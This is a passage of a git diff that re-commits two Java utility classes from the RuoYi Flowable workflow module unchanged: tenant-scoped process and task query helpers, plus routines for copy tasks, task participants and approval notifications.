ProcessEngine PROCESS_ENGINE = SpringUtils.getBean(ProcessEngine.class); - - public static ModelQuery modelQuery() { - ModelQuery query = PROCESS_ENGINE.getRepositoryService().createModelQuery(); - if (TenantHelper.isEnable()) { - query.modelTenantId(TenantHelper.getTenantId()); - } - return query; - } - - public static ProcessDefinitionQuery definitionQuery() { - ProcessDefinitionQuery query = PROCESS_ENGINE.getRepositoryService().createProcessDefinitionQuery(); - if (TenantHelper.isEnable()) { - query.processDefinitionTenantId(TenantHelper.getTenantId()); - } - return query; - } - - public static DeploymentQuery deploymentQuery() { - DeploymentQuery query = PROCESS_ENGINE.getRepositoryService().createDeploymentQuery(); - if (TenantHelper.isEnable()) { - query.deploymentTenantId(TenantHelper.getTenantId()); - } - return query; - } - - public static DeploymentQuery deploymentQuery(String deploymentId) { - return deploymentQuery().deploymentId(deploymentId); - } - - public static DeploymentQuery deploymentQuery(List deploymentIds) { - return deploymentQuery().deploymentIds(deploymentIds); - } - - public static HistoricTaskInstanceQuery hisTaskInstanceQuery() { - HistoricTaskInstanceQuery query = PROCESS_ENGINE.getHistoryService().createHistoricTaskInstanceQuery(); - if (TenantHelper.isEnable()) { - query.taskTenantId(TenantHelper.getTenantId()); - } - return query; - } - - public static HistoricTaskInstanceQuery hisTaskInstanceQuery(String processInstanceId) { - return hisTaskInstanceQuery().processInstanceId(processInstanceId); - } - - public static HistoricTaskInstanceQuery hisTaskBusinessKeyQuery(String businessKey) { - return hisTaskInstanceQuery().processInstanceBusinessKey(businessKey); - } - - public static ProcessInstanceQuery instanceQuery() { - ProcessInstanceQuery query = PROCESS_ENGINE.getRuntimeService().createProcessInstanceQuery(); - if (TenantHelper.isEnable()) { - query.processInstanceTenantId(TenantHelper.getTenantId()); - } - return query; - } - - public static ProcessInstanceQuery instanceQuery(String processInstanceId) { - return instanceQuery().processInstanceId(processInstanceId); - } - - public static ProcessInstanceQuery businessKeyQuery(String businessKey) { - return instanceQuery().processInstanceBusinessKey(businessKey); - } - - public static ProcessInstanceQuery instanceQuery(Set processInstanceIds) { - return instanceQuery().processInstanceIds(processInstanceIds); - } - - public static HistoricProcessInstanceQuery hisInstanceQuery() { - HistoricProcessInstanceQuery query = PROCESS_ENGINE.getHistoryService().createHistoricProcessInstanceQuery(); - if (TenantHelper.isEnable()) { - query.processInstanceTenantId(TenantHelper.getTenantId()); - } - return query; - } - - public static HistoricProcessInstanceQuery hisInstanceQuery(String processInstanceId) { - return hisInstanceQuery().processInstanceId(processInstanceId); - } - - public static HistoricProcessInstanceQuery hisBusinessKeyQuery(String businessKey) { - return hisInstanceQuery().processInstanceBusinessKey(businessKey); - } - - public static HistoricProcessInstanceQuery hisInstanceQuery(Set processInstanceIds) { - return hisInstanceQuery().processInstanceIds(processInstanceIds); - } - - public static HistoricActivityInstanceQuery hisActivityInstanceQuery() { - HistoricActivityInstanceQuery query = PROCESS_ENGINE.getHistoryService().createHistoricActivityInstanceQuery(); - if (TenantHelper.isEnable()) { - query.activityTenantId(TenantHelper.getTenantId()); - } - return query; - } - - public static HistoricActivityInstanceQuery hisActivityInstanceQuery(String processInstanceId) { - return hisActivityInstanceQuery().processInstanceId(processInstanceId); - } - - public static TaskQuery taskQuery() { - TaskQuery query = PROCESS_ENGINE.getTaskService().createTaskQuery(); - if (TenantHelper.isEnable()) { - query.taskTenantId(TenantHelper.getTenantId()); - } - return query; - } - - public static TaskQuery taskQuery(String processInstanceId) { - return taskQuery().processInstanceId(processInstanceId); - } - - public static TaskQuery taskQuery(Collection processInstanceIds) { - return taskQuery().processInstanceIdIn(processInstanceIds); - } - - /** - * 按照任务id查询当前任务 - * - * @param taskId 任务id - */ - public static TaskVo getTask(String taskId) { - Task task = PROCESS_ENGINE.getTaskService().createTaskQuery().taskId(taskId).singleResult(); - if (task == null) { - return null; - } - ProcessInstance processInstance = QueryUtils.instanceQuery(task.getProcessInstanceId()).singleResult(); - TaskVo taskVo = BeanUtil.toBean(task, TaskVo.class); - taskVo.setBusinessKey(processInstance.getBusinessKey()); - taskVo.setMultiInstance(WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()) != null); - String businessStatus = WorkflowUtils.getBusinessStatus(taskVo.getBusinessKey()); - taskVo.setBusinessStatus(businessStatus); - return taskVo; - } -} +package org.dromara.workflow.utils; + +import cn.hutool.core.bean.BeanUtil; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.workflow.domain.vo.TaskVo; +import org.flowable.engine.ProcessEngine; +import org.flowable.engine.history.HistoricActivityInstanceQuery; +import org.flowable.engine.history.HistoricProcessInstanceQuery; +import org.flowable.engine.repository.DeploymentQuery; +import org.flowable.engine.repository.ModelQuery; +import org.flowable.engine.repository.ProcessDefinitionQuery; +import org.flowable.engine.runtime.ProcessInstance; +import org.flowable.engine.runtime.ProcessInstanceQuery; +import org.flowable.task.api.Task; +import org.flowable.task.api.TaskQuery; +import org.flowable.task.api.history.HistoricTaskInstanceQuery; + +import java.util.Collection; +import java.util.List; +import java.util.Set; + +/** + * 查询工具 + * + * @author Lion Li + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class QueryUtils { + + private static final ProcessEngine PROCESS_ENGINE = SpringUtils.getBean(ProcessEngine.class); + + public static ModelQuery modelQuery() { + ModelQuery query = PROCESS_ENGINE.getRepositoryService().createModelQuery(); + if (TenantHelper.isEnable()) { + query.modelTenantId(TenantHelper.getTenantId()); + } + return query; + } + + public static ProcessDefinitionQuery definitionQuery() { + ProcessDefinitionQuery query = PROCESS_ENGINE.getRepositoryService().createProcessDefinitionQuery(); + if (TenantHelper.isEnable()) { + query.processDefinitionTenantId(TenantHelper.getTenantId()); + } + return query; + } + + public static DeploymentQuery deploymentQuery() { + DeploymentQuery query = PROCESS_ENGINE.getRepositoryService().createDeploymentQuery(); + if (TenantHelper.isEnable()) { + query.deploymentTenantId(TenantHelper.getTenantId()); + } + return query; + } + + public static DeploymentQuery deploymentQuery(String deploymentId) { + return deploymentQuery().deploymentId(deploymentId); + } + + public static DeploymentQuery deploymentQuery(List deploymentIds) { + return deploymentQuery().deploymentIds(deploymentIds); + } + + public static HistoricTaskInstanceQuery hisTaskInstanceQuery() { + HistoricTaskInstanceQuery query = PROCESS_ENGINE.getHistoryService().createHistoricTaskInstanceQuery(); + if (TenantHelper.isEnable()) { + query.taskTenantId(TenantHelper.getTenantId()); + } + return query; + } + + public static HistoricTaskInstanceQuery hisTaskInstanceQuery(String processInstanceId) { + return hisTaskInstanceQuery().processInstanceId(processInstanceId); + } + + public static HistoricTaskInstanceQuery hisTaskBusinessKeyQuery(String businessKey) { + return hisTaskInstanceQuery().processInstanceBusinessKey(businessKey); + } + + public static ProcessInstanceQuery instanceQuery() { + ProcessInstanceQuery query = PROCESS_ENGINE.getRuntimeService().createProcessInstanceQuery(); + if (TenantHelper.isEnable()) { + query.processInstanceTenantId(TenantHelper.getTenantId()); + } + return query; + } + + public static ProcessInstanceQuery instanceQuery(String processInstanceId) { + return instanceQuery().processInstanceId(processInstanceId); + } + + public static ProcessInstanceQuery businessKeyQuery(String businessKey) { + return instanceQuery().processInstanceBusinessKey(businessKey); + } + + public static ProcessInstanceQuery instanceQuery(Set processInstanceIds) { + return instanceQuery().processInstanceIds(processInstanceIds); + } + + public static HistoricProcessInstanceQuery hisInstanceQuery() { + HistoricProcessInstanceQuery query = PROCESS_ENGINE.getHistoryService().createHistoricProcessInstanceQuery(); + if (TenantHelper.isEnable()) { + query.processInstanceTenantId(TenantHelper.getTenantId()); + } + return query; + } + + public static HistoricProcessInstanceQuery hisInstanceQuery(String processInstanceId) { + return hisInstanceQuery().processInstanceId(processInstanceId); + } + + public static HistoricProcessInstanceQuery hisBusinessKeyQuery(String businessKey) { + return hisInstanceQuery().processInstanceBusinessKey(businessKey); + } + + public static HistoricProcessInstanceQuery hisInstanceQuery(Set processInstanceIds) { + return hisInstanceQuery().processInstanceIds(processInstanceIds); + } + + public static HistoricActivityInstanceQuery hisActivityInstanceQuery() { + HistoricActivityInstanceQuery query = PROCESS_ENGINE.getHistoryService().createHistoricActivityInstanceQuery(); + if (TenantHelper.isEnable()) { + query.activityTenantId(TenantHelper.getTenantId()); + } + return query; + } + + public static HistoricActivityInstanceQuery hisActivityInstanceQuery(String processInstanceId) { + return hisActivityInstanceQuery().processInstanceId(processInstanceId); + } + + public static TaskQuery taskQuery() { + TaskQuery query = PROCESS_ENGINE.getTaskService().createTaskQuery(); + if (TenantHelper.isEnable()) { + query.taskTenantId(TenantHelper.getTenantId()); + } + return query; + } + + public static TaskQuery taskQuery(String processInstanceId) { + return taskQuery().processInstanceId(processInstanceId); + } + + public static TaskQuery taskQuery(Collection processInstanceIds) { + return taskQuery().processInstanceIdIn(processInstanceIds); + } + + /** + * 按照任务id查询当前任务 + * + * @param taskId 任务id + */ + public static TaskVo getTask(String taskId) { + Task task = PROCESS_ENGINE.getTaskService().createTaskQuery().taskId(taskId).singleResult(); + if (task == null) { + return null; + } + ProcessInstance processInstance = QueryUtils.instanceQuery(task.getProcessInstanceId()).singleResult(); + TaskVo taskVo = BeanUtil.toBean(task, TaskVo.class); + taskVo.setBusinessKey(processInstance.getBusinessKey()); + taskVo.setMultiInstance(WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()) != null); + String businessStatus = WorkflowUtils.getBusinessStatus(taskVo.getBusinessKey()); + taskVo.setBusinessStatus(businessStatus); + return taskVo; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/WorkflowUtils.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/WorkflowUtils.java index d7c4472..5124fbd 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/WorkflowUtils.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/WorkflowUtils.java @@ -1,295 +1,295 @@ -package org.dromara.workflow.utils; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.core.util.StrUtil; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.dto.UserDTO; -import org.dromara.common.core.service.UserService; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mail.utils.MailUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.common.websocket.dto.WebSocketMessageDto; -import org.dromara.common.websocket.utils.WebSocketUtils; -import org.dromara.workflow.common.constant.FlowConstant; -import org.dromara.workflow.common.enums.MessageTypeEnum; -import org.dromara.workflow.common.enums.TaskStatusEnum; -import org.dromara.workflow.domain.ActHiTaskinst; -import org.dromara.workflow.domain.vo.MultiInstanceVo; -import org.dromara.workflow.domain.vo.ParticipantVo; -import org.dromara.workflow.flowable.cmd.UpdateHiTaskInstCmd; -import org.dromara.workflow.mapper.ActHiTaskinstMapper; -import org.flowable.bpmn.model.BpmnModel; -import org.flowable.bpmn.model.FlowNode; -import org.flowable.common.engine.api.delegate.Expression; -import org.flowable.engine.ProcessEngine; -import org.flowable.engine.history.HistoricProcessInstance; -import org.flowable.engine.impl.bpmn.behavior.ParallelMultiInstanceBehavior; -import org.flowable.engine.impl.bpmn.behavior.SequentialMultiInstanceBehavior; -import org.flowable.identitylink.api.history.HistoricIdentityLink; -import org.flowable.task.api.Task; -import org.flowable.task.api.TaskQuery; -import org.flowable.task.api.history.HistoricTaskInstance; -import org.flowable.task.service.impl.persistence.entity.TaskEntity; - -import java.util.*; - -/** - * 工作流工具 - * - * @author may - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class WorkflowUtils { - - private static final ProcessEngine PROCESS_ENGINE = SpringUtils.getBean(ProcessEngine.class); - private static final ActHiTaskinstMapper ACT_HI_TASKINST_MAPPER = SpringUtils.getBean(ActHiTaskinstMapper.class); - - /** - * 创建一个新任务 - * - * @param currentTask 参数 - */ - public static TaskEntity createNewTask(Task currentTask) { - TaskEntity task = null; - if (ObjectUtil.isNotEmpty(currentTask)) { - task = (TaskEntity) PROCESS_ENGINE.getTaskService().newTask(); - task.setCategory(currentTask.getCategory()); - task.setDescription(currentTask.getDescription()); - task.setAssignee(currentTask.getAssignee()); - task.setName(currentTask.getName()); - task.setProcessDefinitionId(currentTask.getProcessDefinitionId()); - task.setProcessInstanceId(currentTask.getProcessInstanceId()); - task.setTaskDefinitionKey(currentTask.getTaskDefinitionKey()); - task.setPriority(currentTask.getPriority()); - task.setCreateTime(new Date()); - task.setTenantId(TenantHelper.getTenantId()); - PROCESS_ENGINE.getTaskService().saveTask(task); - } - if (ObjectUtil.isNotNull(task)) { - UpdateHiTaskInstCmd updateHiTaskInstCmd = new UpdateHiTaskInstCmd(Collections.singletonList(task.getId()), task.getProcessDefinitionId(), task.getProcessInstanceId()); - PROCESS_ENGINE.getManagementService().executeCommand(updateHiTaskInstCmd); - } - return task; - } - - /** - * 抄送任务 - * - * @param parentTaskList 父级任务 - * @param userIds 人员id - */ - public static void createCopyTask(List parentTaskList, List userIds) { - List list = new ArrayList<>(); - String tenantId = TenantHelper.getTenantId(); - for (Task parentTask : parentTaskList) { - for (Long userId : userIds) { - TaskEntity newTask = (TaskEntity) PROCESS_ENGINE.getTaskService().newTask(); - newTask.setParentTaskId(parentTask.getId()); - newTask.setAssignee(userId.toString()); - newTask.setName("【抄送】-" + parentTask.getName()); - newTask.setProcessDefinitionId(parentTask.getProcessDefinitionId()); - newTask.setProcessInstanceId(parentTask.getProcessInstanceId()); - newTask.setTaskDefinitionKey(parentTask.getTaskDefinitionKey()); - newTask.setTenantId(tenantId); - list.add(newTask); - } - } - PROCESS_ENGINE.getTaskService().bulkSaveTasks(list); - if (CollUtil.isNotEmpty(list) && CollUtil.isNotEmpty(parentTaskList)) { - String processInstanceId = parentTaskList.get(0).getProcessInstanceId(); - String processDefinitionId = parentTaskList.get(0).getProcessDefinitionId(); - List taskIds = StreamUtils.toList(list, Task::getId); - ActHiTaskinst actHiTaskinst = new ActHiTaskinst(); - actHiTaskinst.setProcDefId(processDefinitionId); - actHiTaskinst.setProcInstId(processInstanceId); - actHiTaskinst.setScopeType(TaskStatusEnum.COPY.getStatus()); - actHiTaskinst.setTenantId(tenantId); - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.in(ActHiTaskinst::getId, taskIds); - ACT_HI_TASKINST_MAPPER.update(actHiTaskinst, updateWrapper); - for (Task task : list) { - PROCESS_ENGINE.getTaskService().addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.COPY.getStatus(), StrUtil.EMPTY); - } - } - } - - /** - * 获取当前任务参与者 - * - * @param taskId 任务id - */ - public static ParticipantVo getCurrentTaskParticipant(String taskId, UserService userService) { - ParticipantVo participantVo = new ParticipantVo(); - List linksForTask = PROCESS_ENGINE.getHistoryService().getHistoricIdentityLinksForTask(taskId); - Task task = QueryUtils.taskQuery().taskId(taskId).singleResult(); - if (task != null && CollUtil.isNotEmpty(linksForTask)) { - List groupList = StreamUtils.filter(linksForTask, e -> StringUtils.isNotBlank(e.getGroupId())); - if (CollUtil.isNotEmpty(groupList)) { - List groupIds = StreamUtils.toList(groupList, e -> Long.valueOf(e.getGroupId())); - List userIds = userService.selectUserIdsByRoleIds(groupIds); - if (CollUtil.isNotEmpty(userIds)) { - participantVo.setGroupIds(groupIds); - List userList = userService.selectListByIds(userIds); - if (CollUtil.isNotEmpty(userList)) { - List userIdList = StreamUtils.toList(userList, UserDTO::getUserId); - List nickNames = StreamUtils.toList(userList, UserDTO::getNickName); - participantVo.setCandidate(userIdList); - participantVo.setCandidateName(nickNames); - participantVo.setClaim(!StringUtils.isBlank(task.getAssignee())); - } - } - } else { - List candidateList = StreamUtils.filter(linksForTask, e -> FlowConstant.CANDIDATE.equals(e.getType())); - List userIdList = new ArrayList<>(); - for (HistoricIdentityLink historicIdentityLink : linksForTask) { - try { - userIdList.add(Long.valueOf(historicIdentityLink.getUserId())); - } catch (NumberFormatException ignored) { - - } - } - List userList = userService.selectListByIds(userIdList); - if (CollUtil.isNotEmpty(userList)) { - List userIds = StreamUtils.toList(userList, UserDTO::getUserId); - List nickNames = StreamUtils.toList(userList, UserDTO::getNickName); - participantVo.setCandidate(userIds); - participantVo.setCandidateName(nickNames); - // 判断当前任务是否具有多个办理人 - if (CollUtil.isNotEmpty(candidateList) && candidateList.size() > 1) { - // 如果 assignee 存在,则设置当前任务已经被认领 - participantVo.setClaim(StringUtils.isNotBlank(task.getAssignee())); - } - } - } - } - return participantVo; - } - - /** - * 判断当前节点是否为会签节点 - * - * @param processDefinitionId 流程定义id - * @param taskDefinitionKey 流程定义id - */ - public static MultiInstanceVo isMultiInstance(String processDefinitionId, String taskDefinitionKey) { - BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); - FlowNode flowNode = (FlowNode) bpmnModel.getFlowElement(taskDefinitionKey); - MultiInstanceVo multiInstanceVo = new MultiInstanceVo(); - //判断是否为并行会签节点 - if (flowNode.getBehavior() instanceof ParallelMultiInstanceBehavior behavior && behavior.getCollectionExpression() != null) { - Expression collectionExpression = behavior.getCollectionExpression(); - String assigneeList = collectionExpression.getExpressionText(); - String assignee = behavior.getCollectionElementVariable(); - multiInstanceVo.setType(behavior); - multiInstanceVo.setAssignee(assignee); - multiInstanceVo.setAssigneeList(assigneeList); - return multiInstanceVo; - //判断是否为串行会签节点 - } else if (flowNode.getBehavior() instanceof SequentialMultiInstanceBehavior behavior && behavior.getCollectionExpression() != null) { - Expression collectionExpression = behavior.getCollectionExpression(); - String assigneeList = collectionExpression.getExpressionText(); - String assignee = behavior.getCollectionElementVariable(); - multiInstanceVo.setType(behavior); - multiInstanceVo.setAssignee(assignee); - multiInstanceVo.setAssigneeList(assigneeList); - return multiInstanceVo; - } - return null; - } - - /** - * 获取当前流程状态 - * - * @param taskId 任务id - */ - public static String getBusinessStatusByTaskId(String taskId) { - HistoricTaskInstance historicTaskInstance = QueryUtils.hisTaskInstanceQuery().taskId(taskId).singleResult(); - HistoricProcessInstance historicProcessInstance = QueryUtils.hisInstanceQuery(historicTaskInstance.getProcessInstanceId()).singleResult(); - return historicProcessInstance.getBusinessStatus(); - } - - /** - * 获取当前流程状态 - * - * @param businessKey 业务id - */ - public static String getBusinessStatus(String businessKey) { - HistoricProcessInstance historicProcessInstance = QueryUtils.hisBusinessKeyQuery(businessKey).singleResult(); - return historicProcessInstance.getBusinessStatus(); - } - - /** - * 发送消息 - * - * @param list 任务 - * @param name 流程名称 - * @param messageType 消息类型 - * @param message 消息内容,为空则发送默认配置的消息内容 - */ - public static void sendMessage(List list, String name, List messageType, String message, UserService userService) { - Set userIds = new HashSet<>(); - if (StringUtils.isBlank(message)) { - message = "有新的【" + name + "】单据已经提交至您的待办,请您及时处理。"; - } - for (Task t : list) { - ParticipantVo taskParticipant = WorkflowUtils.getCurrentTaskParticipant(t.getId(), userService); - if (CollUtil.isNotEmpty(taskParticipant.getGroupIds())) { - List userIdList = userService.selectUserIdsByRoleIds(taskParticipant.getGroupIds()); - if (CollUtil.isNotEmpty(userIdList)) { - userIds.addAll(userIdList); - } - } - List candidate = taskParticipant.getCandidate(); - if (CollUtil.isNotEmpty(candidate)) { - userIds.addAll(candidate); - } - } - if (CollUtil.isNotEmpty(userIds)) { - List userList = userService.selectListByIds(new ArrayList<>(userIds)); - for (String code : messageType) { - MessageTypeEnum messageTypeEnum = MessageTypeEnum.getByCode(code); - if (ObjectUtil.isNotEmpty(messageTypeEnum)) { - switch (messageTypeEnum) { - case SYSTEM_MESSAGE: - WebSocketMessageDto dto = new WebSocketMessageDto(); - dto.setSessionKeys(new ArrayList<>(userIds)); - dto.setMessage(message); - WebSocketUtils.publishMessage(dto); - break; - case EMAIL_MESSAGE: - MailUtils.sendText(StreamUtils.join(userList, UserDTO::getEmail), "单据审批提醒", message); - break; - case SMS_MESSAGE: - //todo 短信发送 - break; - } - } - } - } - } - - /** - * 根据任务id查询 当前用户的任务,检查 当前人员 是否是该 taskId 的办理人 - * - * @param taskId 任务id - * @return 结果 - */ - public static Task getTaskByCurrentUser(String taskId) { - TaskQuery taskQuery = QueryUtils.taskQuery(); - taskQuery.taskId(taskId).taskCandidateOrAssigned(String.valueOf(LoginHelper.getUserId())); - - List roles = LoginHelper.getLoginUser().getRoles(); - if (CollUtil.isNotEmpty(roles)) { - List groupIds = StreamUtils.toList(roles, e -> String.valueOf(e.getRoleId())); - taskQuery.taskCandidateGroupIn(groupIds); - } - return taskQuery.singleResult(); - } -} +package org.dromara.workflow.utils; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.core.util.StrUtil; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.dto.UserDTO; +import org.dromara.common.core.service.UserService; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mail.utils.MailUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.common.websocket.dto.WebSocketMessageDto; +import org.dromara.common.websocket.utils.WebSocketUtils; +import org.dromara.workflow.common.constant.FlowConstant; +import org.dromara.workflow.common.enums.MessageTypeEnum; +import org.dromara.workflow.common.enums.TaskStatusEnum; +import org.dromara.workflow.domain.ActHiTaskinst; +import org.dromara.workflow.domain.vo.MultiInstanceVo; +import org.dromara.workflow.domain.vo.ParticipantVo; +import org.dromara.workflow.flowable.cmd.UpdateHiTaskInstCmd; +import org.dromara.workflow.mapper.ActHiTaskinstMapper; +import org.flowable.bpmn.model.BpmnModel; +import org.flowable.bpmn.model.FlowNode; +import org.flowable.common.engine.api.delegate.Expression; +import org.flowable.engine.ProcessEngine; +import org.flowable.engine.history.HistoricProcessInstance; +import org.flowable.engine.impl.bpmn.behavior.ParallelMultiInstanceBehavior; +import org.flowable.engine.impl.bpmn.behavior.SequentialMultiInstanceBehavior; +import org.flowable.identitylink.api.history.HistoricIdentityLink; +import org.flowable.task.api.Task; +import org.flowable.task.api.TaskQuery; +import org.flowable.task.api.history.HistoricTaskInstance; +import org.flowable.task.service.impl.persistence.entity.TaskEntity; + +import java.util.*; + +/** + * 工作流工具 + * + * @author may + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class WorkflowUtils { + + private static final ProcessEngine PROCESS_ENGINE = SpringUtils.getBean(ProcessEngine.class); + private static final ActHiTaskinstMapper ACT_HI_TASKINST_MAPPER = SpringUtils.getBean(ActHiTaskinstMapper.class); + + /** + * 创建一个新任务 + * + * @param currentTask 参数 + */ + public static TaskEntity createNewTask(Task currentTask) { + TaskEntity task = null; + if (ObjectUtil.isNotEmpty(currentTask)) { + task = (TaskEntity) PROCESS_ENGINE.getTaskService().newTask(); + task.setCategory(currentTask.getCategory()); + task.setDescription(currentTask.getDescription()); + task.setAssignee(currentTask.getAssignee()); + task.setName(currentTask.getName()); + task.setProcessDefinitionId(currentTask.getProcessDefinitionId()); + task.setProcessInstanceId(currentTask.getProcessInstanceId()); + task.setTaskDefinitionKey(currentTask.getTaskDefinitionKey()); + task.setPriority(currentTask.getPriority()); + task.setCreateTime(new Date()); + task.setTenantId(TenantHelper.getTenantId()); + PROCESS_ENGINE.getTaskService().saveTask(task); + } + if (ObjectUtil.isNotNull(task)) { + UpdateHiTaskInstCmd updateHiTaskInstCmd = new UpdateHiTaskInstCmd(Collections.singletonList(task.getId()), task.getProcessDefinitionId(), task.getProcessInstanceId()); + PROCESS_ENGINE.getManagementService().executeCommand(updateHiTaskInstCmd); + } + return task; + } + + /** + * 抄送任务 + * + * @param parentTaskList 父级任务 + * @param userIds 人员id + */ + public static void createCopyTask(List parentTaskList, List userIds) { + List list = new ArrayList<>(); + String tenantId = TenantHelper.getTenantId(); + for (Task parentTask : parentTaskList) { + for (Long userId : userIds) { + TaskEntity newTask = (TaskEntity) PROCESS_ENGINE.getTaskService().newTask(); + newTask.setParentTaskId(parentTask.getId()); + newTask.setAssignee(userId.toString()); + newTask.setName("【抄送】-" + parentTask.getName()); + newTask.setProcessDefinitionId(parentTask.getProcessDefinitionId()); + newTask.setProcessInstanceId(parentTask.getProcessInstanceId()); + newTask.setTaskDefinitionKey(parentTask.getTaskDefinitionKey()); + newTask.setTenantId(tenantId); + list.add(newTask); + } + } + PROCESS_ENGINE.getTaskService().bulkSaveTasks(list); + if (CollUtil.isNotEmpty(list) && CollUtil.isNotEmpty(parentTaskList)) { + String processInstanceId = parentTaskList.get(0).getProcessInstanceId(); + String processDefinitionId = parentTaskList.get(0).getProcessDefinitionId(); + List taskIds = StreamUtils.toList(list, Task::getId); + ActHiTaskinst actHiTaskinst = new ActHiTaskinst(); + actHiTaskinst.setProcDefId(processDefinitionId); + actHiTaskinst.setProcInstId(processInstanceId); + actHiTaskinst.setScopeType(TaskStatusEnum.COPY.getStatus()); + actHiTaskinst.setTenantId(tenantId); + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.in(ActHiTaskinst::getId, taskIds); + ACT_HI_TASKINST_MAPPER.update(actHiTaskinst, updateWrapper); + for (Task task : list) { + PROCESS_ENGINE.getTaskService().addComment(task.getId(), task.getProcessInstanceId(), TaskStatusEnum.COPY.getStatus(), StrUtil.EMPTY); + } + } + } + + /** + * 获取当前任务参与者 + * + * @param taskId 任务id + */ + public static ParticipantVo getCurrentTaskParticipant(String taskId, UserService userService) { + ParticipantVo participantVo = new ParticipantVo(); + List linksForTask = PROCESS_ENGINE.getHistoryService().getHistoricIdentityLinksForTask(taskId); + Task task = QueryUtils.taskQuery().taskId(taskId).singleResult(); + if (task != null && CollUtil.isNotEmpty(linksForTask)) { + List groupList = StreamUtils.filter(linksForTask, e -> StringUtils.isNotBlank(e.getGroupId())); + if (CollUtil.isNotEmpty(groupList)) { + List groupIds = StreamUtils.toList(groupList, e -> Long.valueOf(e.getGroupId())); + List userIds = userService.selectUserIdsByRoleIds(groupIds); + if (CollUtil.isNotEmpty(userIds)) { + participantVo.setGroupIds(groupIds); + List userList = userService.selectListByIds(userIds); + if (CollUtil.isNotEmpty(userList)) { + List userIdList = StreamUtils.toList(userList, UserDTO::getUserId); + List nickNames = StreamUtils.toList(userList, UserDTO::getNickName); + participantVo.setCandidate(userIdList); + participantVo.setCandidateName(nickNames); + participantVo.setClaim(!StringUtils.isBlank(task.getAssignee())); + } + } + } else { + List candidateList = StreamUtils.filter(linksForTask, e -> FlowConstant.CANDIDATE.equals(e.getType())); + List userIdList = new ArrayList<>(); + for (HistoricIdentityLink historicIdentityLink : linksForTask) { + try { + userIdList.add(Long.valueOf(historicIdentityLink.getUserId())); + } catch (NumberFormatException ignored) { + + } + } + List userList = userService.selectListByIds(userIdList); + if (CollUtil.isNotEmpty(userList)) { + List userIds = StreamUtils.toList(userList, UserDTO::getUserId); + List nickNames = StreamUtils.toList(userList, UserDTO::getNickName); + participantVo.setCandidate(userIds); + participantVo.setCandidateName(nickNames); + // 判断当前任务是否具有多个办理人 + if (CollUtil.isNotEmpty(candidateList) && candidateList.size() > 1) { + // 如果 assignee 存在,则设置当前任务已经被认领 + participantVo.setClaim(StringUtils.isNotBlank(task.getAssignee())); + } + } + } + } + return participantVo; + } + + /** + * 判断当前节点是否为会签节点 + * + * @param processDefinitionId 流程定义id + * @param taskDefinitionKey 流程定义id + */ + public static MultiInstanceVo isMultiInstance(String processDefinitionId, String taskDefinitionKey) { + BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); + FlowNode flowNode = (FlowNode) bpmnModel.getFlowElement(taskDefinitionKey); + MultiInstanceVo multiInstanceVo = new MultiInstanceVo(); + //判断是否为并行会签节点 + if (flowNode.getBehavior() instanceof ParallelMultiInstanceBehavior behavior && behavior.getCollectionExpression() != null) { + Expression collectionExpression = behavior.getCollectionExpression(); + String assigneeList = collectionExpression.getExpressionText(); + String assignee = behavior.getCollectionElementVariable(); + multiInstanceVo.setType(behavior); + multiInstanceVo.setAssignee(assignee); + multiInstanceVo.setAssigneeList(assigneeList); + return multiInstanceVo; + //判断是否为串行会签节点 + } else if (flowNode.getBehavior() instanceof SequentialMultiInstanceBehavior behavior && behavior.getCollectionExpression() != null) { + Expression collectionExpression = behavior.getCollectionExpression(); + String assigneeList = collectionExpression.getExpressionText(); + String assignee = behavior.getCollectionElementVariable(); + multiInstanceVo.setType(behavior); + multiInstanceVo.setAssignee(assignee); + multiInstanceVo.setAssigneeList(assigneeList); + return multiInstanceVo; + } + return null; + } + + /** + * 获取当前流程状态 + * + * @param taskId 任务id + */ + public static String getBusinessStatusByTaskId(String taskId) { + HistoricTaskInstance historicTaskInstance = QueryUtils.hisTaskInstanceQuery().taskId(taskId).singleResult(); + HistoricProcessInstance historicProcessInstance = QueryUtils.hisInstanceQuery(historicTaskInstance.getProcessInstanceId()).singleResult(); + return historicProcessInstance.getBusinessStatus(); + } + + /** + * 获取当前流程状态 + * + * @param businessKey 业务id + */ + public static String getBusinessStatus(String businessKey) { + HistoricProcessInstance historicProcessInstance = QueryUtils.hisBusinessKeyQuery(businessKey).singleResult(); + 